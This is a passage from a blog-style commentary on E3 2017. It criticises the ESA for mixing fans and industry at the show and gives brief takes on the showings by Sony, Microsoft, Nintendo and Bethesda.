Really I’m not down on the fans. I am confused with what the ESA is doing here with this event. Developers I spoke with noted how networking is especially difficult this year, because you simply can’t assume that everybody is a “somebody,” and those “somebodies” are more difficult to connect with. E3’s been going this direction for years by lowering the barrier for press accreditation, though adding so many straight-up fans into the mix only exacerbates the issue.

E3 is trying to serve two masters here: Industry and fans. It wants to be “old” industry-centric E3, and it wants to be Comic-Con. I really wonder how many more game companies, especially after this year, might pull out of the show floor because they’re (further) questioning the value proposition of E3. It’s a tricky scenario. ESA needs to maintain and grow its event business, but it seems the growth it needs can only come from increasingly angling the event toward fans, and going head-to-head with large consumer-focused events like PAX. E3 2017 is a weird an awkward transition towards that.

E3 is very crowded [Image: GameRevolution]

Ok so I spent a lot of time talking about the event itself, so I’ll just give a quick rundown of some notable E3 things:

Sony: They’re pretty much done with highlighting indies, E3 2017 confirms. That said, PolyArc, a small studio made up of ex-triple-A devs, was included in Sony’s press conference. They’re making a really nice-looking VR game called Moss, starring a mouse.

[embedded content]PolyArc's Moss

Microsoft: Obviously their big thing is Xbox One X. Price is a bit high, value proposition is shaky, but I’m not sure where else console-makers (that aren’t Nintendo) can go. We’ll see how it goes this November.

Nintendo: Metroid Metroid Metroid. I’m just glad they didn’t forget about Metroid. Also wow at some of these Super Mario Odyssey hat-possession gifs.

Bethesda: Yeah, I’m playing through Wolfenstein: The New Order again.